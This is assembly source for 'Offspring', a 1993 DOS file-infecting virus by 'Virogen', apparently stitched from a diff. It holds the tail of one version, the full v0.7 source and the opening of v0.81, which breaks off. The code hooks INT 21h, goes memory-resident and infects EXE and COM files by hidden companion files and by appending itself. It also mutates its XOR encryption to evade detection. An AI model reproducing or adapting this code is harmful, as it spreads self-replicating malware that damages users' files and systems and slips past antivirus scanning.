ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START
@@ -0,0 +1,714 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.7 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with A86 v3.22
;
;
; DISCLAIMER : Don't hold me responsible for any damages, or the release
; of this virus. Use at your own risk.
;
; TYPE : Parastic Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.7
;
; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function
; 0Eh (change drive) is called the virus will infect
; up to 5 files in the current directory (the one
; you're coming out of). It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; bytes between them are constantly changed. The
; call to the encryption routine changes, so the
; address can be anywhere in a field of NOPs.
; Not anything overly amazing, but it works.
;
;
TITLE OFFSPRING_1
.286
CSEG SEGMENT
ASSUME CS: CSEG, SS: CSEG, ES: CSEG
SIGNAL EQU 7DH ; Installation check
REPLY EQU 0FCH ; reply to check
CR EQU 0DH ; carraige return
LF EQU 0AH ; line feed
F_NAME EQU 1EH ; Offset of file name in FF/FN buffer
F_SIZEL EQU 1CH ; File size - low
F_SIZEH EQU 1AH ; File size - high
F_DATE EQU 18H ; File date
F_TIME EQU 16H ; File time
MAX_INF EQU 05 ; Maximum files to infect per run
MAX_ROTATION EQU 9 ; number of bytes in switch byte table
PARASTIC EQU 01 ; Parastic infection
SPAWN EQU 00 ; Spawning infection
ORG 100H ; Leave room for PSP
;------------------------------------------------------------------
; Start of viral code
;------------------------------------------------------------------
START:
DB 0BEH ; MOV SI,xxxx - Load delta offset
SET_SI: DW 0000H
SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on
; replicated copies.
M_SW1: NOP ; changs into a byte in op_set
XCHG_1 DB 0BFH
DW OFFSET ENC_DATA+2 ; Point to byte after encryption num
; Switches positions with XCHG_2
M_SW2: NOP ; changes into a byte in op_set
XCHG_2 DB 090H
ENC_NUM DW 9090H
M_SW3: NOP
DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx
ADD_DI: DW 9000H ; 00-NOP
CALL_ENC DB 0E8 ; Call encryption routine - address changes
E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2)
NO_DEC:
JMP MAIN ; Jump to virus code
;-----------------------------------------------
; Data area
;-----------------------------------------------
ENC_DATA DW 0000 ; Start of encrypted data
ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET
VTYPE DB 00 ; Spawning or Parastic Infection?
INF_COUNT DB 0 ; How many files we have infected this run
COM_NAME DB 'COMMAND.COM' ; obvious
NEW_CODE DW 9090H ; ID bytes
NEW_JMP DB 0E9H,00,00 ; New Jump
FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf.
ADD_MEM DB 0 ; restore mem size? Yes,No
ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright
VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *'
DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$'
FNAME1 DB '*.EXE',0 ; Filespec
FNAME2 DB '*.COM',0 ; Filespec
FNAME_OFF DW FNAME1 ; Offset of Filespec to use
TIMES_INC DB 0 ; # of times encryption call incremented
SL DB '\' ; Backslash for directory name
FILE_DIR DB 64 DUP(0) ; directory of file we infected
FILE_NAME DB 13 DUP(0) ; filename of file we infected
OLD_DTA DD 0 ; old seg:off of DTA
OLD21_OFS DW 0 ; Offset of old INT 21H
OLD21_SEG DW 0 ; Seg of old INT 21h
NEW_SEG DW 0 ; New segment in high mem
PAR_BLK DW 0 ; command line count byte -psp
PAR_CMD DW 0080H ; Point to the command line -psp
PAR_SEG DW 0 ; seg
DW 05CH ; Use default FCB's in psp to save space
PAR1 DW 0 ;
DW 06CH ; FCB #2
PAR2 DW 0 ;
;--------------------------------------------------------------------
; INT 21h
;---------------------------------------------------------------------
NEW21 PROC ; New INT 21H handler
CMP AH, SIGNAL ; signaling us?
JNE NO
MOV AH,REPLY ; yep, give our offspring what he wants
JMP END_21
NO:
CMP AH, 3BH ; set dir func?
JE RUN_RES
CMP AH,0EH ; set disk func?
JE RUN_RES
JMP END_21
RUN_RES:
PUSHF
PUSH AX ; Push regs
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH BP
PUSH DS
PUSH ES
PUSH SP
PUSH SS
PUSH CS
POP DS
XOR AX,AX ; nullify ES
MOV ES,AX
CMP ADD_MEM,1 ; Restore system conventional mem size?
JE REL_MEM ;
CMP AH,48H ; alloc. mem block? If so we subtract 3k from
JE SET_MEM ; total system memory.
JMP NO_MEM_FUNC
SET_MEM:
SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem
INC ADD_MEM ; make sure we know to add this back
JMP NO_MEM_FUNC
REL_MEM:
ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem
DEC ADD_MEM
NO_MEM_FUNC:
MOV AH,2FH
INT 21H ; Get the DTA
MOV AX,ES
MOV WORD PTR OLD_DTA,BX
MOV WORD PTR OLD_DTA+2,AX
PUSH CS
POP ES
CALL RESIDENT ; Call infection kernal
MOV DX,WORD PTR OLD_DTA
MOV AX,WORD PTR OLD_DTA+2
MOV DS,AX
MOV AH,1AH
INT 21H ; Restore the DTA
POP SS ; Pop regs
POP SP
POP ES
POP DS
POP BP
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
POPF
END_21 :
JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h
IRET
NEW21 ENDP ; End of handler
;------------------------------------------------------------
; Main
;-----------------------------------------------------------
MAIN PROC
MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption
MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H
MOV AX,DS: 002CH ; Get environment address
MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec
MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC
MOV [SI+OFFSET PAR2],CS
MOV [SI+OFFSET PAR_SEG],CS
MOV AH,2AH ; Get date
INT 21H
CMP DL,14 ; 14th?
JNE NO_DISPLAY
MOV AH,09 ; Display message
LEA DX,[SI+OFFSET ID]
INT 21H
NO_DISPLAY:
CALL INSTALL ; check if installed, if not install
CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC
JE SKIP_THIS
MOV BX,(OFFSET VEND+50) ; Calculate memory needed
MOV CL,4 ; divide by 16
SHR BX,CL
INC BX
MOV AH,4AH
INT 21H ; Release un-needed memory
LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE
LEA BX,[SI+OFFSET PAR_BLK]
MOV AX,4B00H
INT 21H
MOV AH,4CH ; Exit
INT 21H
SKIP_THIS:
MOV CX,5 ; Restore original first
ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file
MOV DI,0100H
CLD
REP MOVSB
MOV AX,0100H ; Simulate CALL return to 0100h
PUSH AX
RET
MAIN ENDP
;---------------
; INSTALL - Install the virus
;--------------
INSTALL PROC
MOV AH,SIGNAL
INT 21H
CMP AH,REPLY
JE NO_INSTALL
MOV AX,CS
DEC AX
MOV DS,AX
CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in
;the chain?
JNE NO_INSTALL
MOV AX,DS: [3] ;Block size in MCB
SUB AX,190 ;Shrink Block Size-quick estimate
MOV DS: [3],AX
MOV BX,AX
MOV AX,ES
ADD AX,BX
MOV ES,AX ;Find high memory seg
PUSH SI
ADD SI,0100H
MOV CX,(OFFSET VEND - OFFSET START)
MOV AX,DS
INC AX
MOV DS,AX
MOV DI,100H ; New location in high memory
CLD
REP MOVSB ; Copy virus to high memory
POP SI
MOV DS: NEW_SEG,ES ;Save new segment
PUSH ES
POP DS
XOR AX,AX
MOV ES,AX ; null es
MOV AX,ES: [21H*4+2]
MOV BX,ES: [21H*4]
MOV DS: OLD21_SEG,AX ; Store segment
MOV DS: OLD21_OFS,BX ; Store offset
CLI
MOV ES: [21H*4+2],DS ; Save seg
LEA AX,[OFFSET NEW21]
MOV ES: [21H*4],AX ; off
STI
NO_INSTALL:
PUSH CS ; Restore regs
POP DS
MOV ES,DS
RET
INSTALL ENDP
;------------------------
; Resident - This is called from the INT 21h handler
;-----------------------------
RESIDENT PROC
MOV VTYPE,SPAWN
MOV WORD PTR SET_SI,0000 ; SI=0000 on load
MOV BYTE PTR DI_INS,83H ; ADD DI,0 op
MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00
MOV BYTE PTR INF_COUNT,0 ; null infection count
MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE
FIND_FIRST:
MOV WORD PTR VEND,0 ; Clear ff/fn buffer
LEA SI, VEND
LEA DI, VEND+2
MOV CX,22
CLD
REP MOVSW
; Set DTA address - This is for the Findfirst/Findnext INT 21H functions
MOV AH, 1AH
LEA DX, VEND
INT 21H
MOV AH, 4EH ; Findfirst
MOV CX, 0 ; Set normal file attribute search
MOV DX, FNAME_OFF
INT 21H
JNC NEXT_LOOP ; if still finding files then loop
JMP END_PROG
NEXT_LOOP :
CMP VTYPE, PARASTIC ; parastic infection?
JE START_INF ; yes, skip all this
MOV AH,47H
XOR DL,DL
LEA SI,FILE_DIR
INT 21H
CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+
JE OK_FIND ; for spawning infections
JMP FIND_FILE
OK_FIND:
XOR BX,BX
LM3 : ; find end of directory name
INC BX
CMP FILE_DIR[BX],0
JNE LM3
MOV FILE_DIR[BX],'\' ; append backslash to path
INC BX
MOV CX,13 ; append filename to path
LEA SI,VEND[F_NAME]
LEA DI,FILE_DIR[BX]
CLD
REP MOVSB
XOR BX,BX
MOV BX,1EH
LOOP_ME: ; search for filename ext.
INC BX
CMP BYTE PTR VEND[BX], '.'
JNE LOOP_ME
INC BX ; change it to COM
MOV WORD PTR VEND [BX],'OC'
MOV BYTE PTR VEND [BX+2],'M'
START_INF:
CMP VTYPE, PARASTIC ; parastic infection?
JE PARASTIC_INF ; yes.. so jump
;--------------------------------------
; Spawning infection
LEA DX, VEND[F_NAME]
MOV AH, 3CH ; Create file
MOV CX, 02H ; READ-ONLY
OR CX, 01H ; Hidden
INT 21H ; Call INT 21H
JNC CONTIN ; If Error-probably already infected
JMP NO_INFECT
CONTIN:
INC INF_COUNT
MOV BX,AX
JMP ENCRYPT_OPS
;----------------------------------------
; Parastic infection
PARASTIC_INF :
CMP VEND[F_SIZEh],400H
JGE CONT_INF2
JMP NO_INFECT
CONT_INF2:
LEA SI,VEND[F_NAME] ; Is Command.COM?
LEA DI,COM_NAME
MOV CX,11
CLD
REPE CMPSB
JNE CONT_INF0 ; Yes, don't infect
JMP NO_INFECT
CONT_INF0:
MOV AX,3D02H ; Open file for reading & writing
LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer
INT 21H
JNC CONT_INF1 ; error, skip infection
JMP NO_INFECT
CONT_INF1:
MOV BX,AX
MOV AH,3FH ; Read first five bytes of file
MOV CX,05
LEA DX,FIRST_FIVE
INT 21H
CMP WORD PTR FIRST_FIVE,9090H
JNE CONT_INF
MOV AH,3EH
INT 21H
JMP NO_INFECT
CONT_INF:
INC INF_COUNT
MOV AX,4202H ; Set pointer to end of file, so we
XOR CX,CX ; can find the file size
XOR DX,DX
INT 21H
;SUB AX,0100h ; Subtract PSP size
MOV WORD PTR SET_SI,AX ; Change the MOV SI inst.
MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx
MOV BYTE PTR DI_INS,81H ; ADD DI op
MOV AX,4200H
XOR CX,CX
XOR DX,DX
INT 21H
MOV AX,VEND[F_SIZEH]
SUB AX,5
MOV WORD PTR NEW_JMP+1,AX
MOV AH,40H
MOV CX,6
LEA DX,NEW_CODE
INT 21H
MOV AX,4202H
XOR CX,CX
XOR DX,DX
INT 21H
ENCRYPT_OPS:
;-----------------------------
; Change encryptions ops
PUSH BX
MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2
MOV BX,WORD PTR XCHG_2
MOV WORD PTR XCHG_1,BX
MOV WORD PTR XCHG_2,AX
MOV AH, BYTE PTR XCHG_1+2
MOV BH, BYTE PTR XCHG_2+2
MOV BYTE PTR XCHG_1+2,BH
MOV BYTE PTR XCHG_2+2,AH
XOR_DONE:
CHG_TWO:
XOR CX,CX ; CX=0
LEA DI,SW_BYTE1 ; DI->sw_byte1
CHG_REST:
INC ROT_NUM ; increment rotation number
MOV BX,ROT_NUM ; bx=rotation num
MOV AH,OP_SET[BX] ; ah = new op code from set
MOV BYTE PTR [DI],AH
CMP ROT_NUM,MAX_ROTATION ; max rotation num?
JNE CHG_CNT ; no, chg_cnt
MOV WORD PTR ROT_NUM,0 ; reset rotation num
CHG_CNT:
INC CX ; increment count
CMP CX,1
LEA DI,M_SW1
JE CHG_REST
CMP CX,2
LEA DI,M_SW2
JE CHG_REST
CMP CX,3
LEA DI,M_SW3
JE CHG_REST
CMP CX,4
LEA DI,SW_BYTE1
JE CHG_REST
CHG_THREE:
XOR CX,CX
LEA DI,SW_BYTE3
CHG_FOUR:
CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'?
MOV BX,1 ;
JE MOV_POS ; Yes, so change it to the second
CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI'
MOV BX,2 ;
JE MOV_POS ; Yes, change it to the third
XOR BX,BX ; Else, must be in final position
MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd)
MOV BYTE PTR [DI+2],90H ; to NOP
MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos.
CMP BX,2
JNE NO_CHANGE
INC CX
CMP CX,2
LEA DI,SW_BYTE4
JNE CHG_FOUR
NO_CHANGE:
CMP BYTE PTR TIMES_INC,9
JE INC_NUM
INC WORD PTR B_WR
INC WORD PTR E_JMP
INC WORD PTR E_JMP
INC TIMES_INC
JMP D2
INC_NUM:
SUB WORD PTR B_WR,09
SUB WORD PTR E_JMP,18
MOV TIMES_INC,0
;-----------------------
; Get random XOR number, save it, copy virus, encrypt code
D2:
MOV AH,2CH ;
INT 21H ; Get random number from clock - millisecs
MOV WORD PTR XOR_OP+2,DX ; save encryption #
MOV SI,0100H
LEA DI,VEND+50 ; destination
MOV CX,OFFSET VEND-100H ; bytes to move
CLD
REP MOVSB ; copy virus outside of code
LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus
CMP BYTE PTR VTYPE, PARASTIC
JNE GO_ENC
;add di,si
GO_ENC:
CALL ENCRYPT ; encrypt new copy of virus
;----------------------------------------
; Write and close new infected file
POP BX
MOV CX, OFFSET VEND-100H ; # of bytes to write
LEA DX, VEND+50 ; Offset of buffer
MOV AH, 40H ; -- our program in memory
INT 21H ; Call INT 21H function 40h
CMP VTYPE, PARASTIC ; parastic?
JNE CLOSE ; no, don't need to restore date/time
MOV AX,5701H ; Restore data/time
MOV CX,VEND[F_TIME]
MOV DX,VEND[F_DATE]
INT 21H
CLOSE: MOV AH, 3EH
INT 21H
NO_INFECT:
; Find next file
FIND_FILE :
CMP INF_COUNT, MAX_INF
JE END_PROG
MOV AH,4FH
INT 21H
JC END_PROG
JMP NEXT_LOOP
END_PROG:
EXIT :
CMP INF_COUNT,0 ; Start parastic infection on next run
JNE FIND_DONE
CMP VTYPE, PARASTIC ; Parastic infection done?
JE FIND_DONE ; yes, we're finished
MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec
MOV VTYPE, PARASTIC ; virus type = parastic
JMP FIND_FIRST
FIND_DONE:
MOV VTYPE,SPAWN
MOV FNAME_OFF, OFFSET FNAME1
RET
RESIDENT ENDP
END_ENCRYPT: ; Let's encrypt everything up to here
OP_SET DB 90H ; NOP
DB 40H ; INC AX
DB 43H ; INC BX
DB 48H ; DEC AX
DB 4BH ; DEC BX
DB 0FBH ; STI
DB 0FCH ; CLD
DB 4AH ; DEC DX
DB 42H ; INC DX
DB 14 DUP(090H)
;------------------------------------------------
; Encrypt/Decrypt Routine
;-----------------------------------------------
ENCRYPT PROC
CX_M DB 0B9H ; MOV CX
B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2
E2:
SW_BYTE1: ; XOR [di],dx swaps positions with this
NOP
XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly
SW_BYTE3: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE4: ; INC DI changes position in these bytes
INC DI
NOP
NOP
SW_BYTE2:
NOP ; This byte changes into a char in op_set
LOOP E2 ; loop while cx != 0
RET
ENCRYPT ENDP
VEND DW 0 ; End of virus
CSEG ENDS
END START
@@ -0,0 +1,665 @@
;-------------------------------------------------------------------------
; ************************************************
; OFFSPRING v0.81 - BY VIROGEN - 04-26-93
; ************************************************
;
; - Compatible with : TASM /m2
;
; TYPE : Parastic & Spawning Resident Encrypting (PSRhA)
;
;
; VERSION : BETA 0.81
;
; INFECTION METHOD : Everytime DOS function 4Bh (Execute File)
; is called the virus will infect up to 5 files
; in the current directory. It will first infect all
; EXE files by creating a corresponding COM. Once
; all EXE files have been infected, it then infects
; COM files. All COM files created by a spawning
; infection will have the read-only and hidden
; attribute.
;
;
; THE ENCRYPION OF THIS VIRUS :
; Ok, this virus's encryption method is a simple
; XOR. The encryption operands are changed directly.
; Also, the operands are switched around, and the
; encryption routine switches from using di to si.
; Not anything overly amazing, but it works.
;
;
title offspring_1
.286
cseg segment
assume cs: cseg, ds: cseg, ss: cseg, es: cseg
signal equ 7dh ; Installation check
reply equ 0fch ; reply to check
f_name equ 1eh ; Offset of file name in FF/FN buffer
f_sizel equ 1ch ; File size - low - loc in mem
f_sizeh equ 1ah ; File size - high - loc in mem
f_date equ 18h ; File date - loc in mem
f_time equ 16h ; File time - loc in mem
max_inf equ 05 ; Maximum files to infect per run
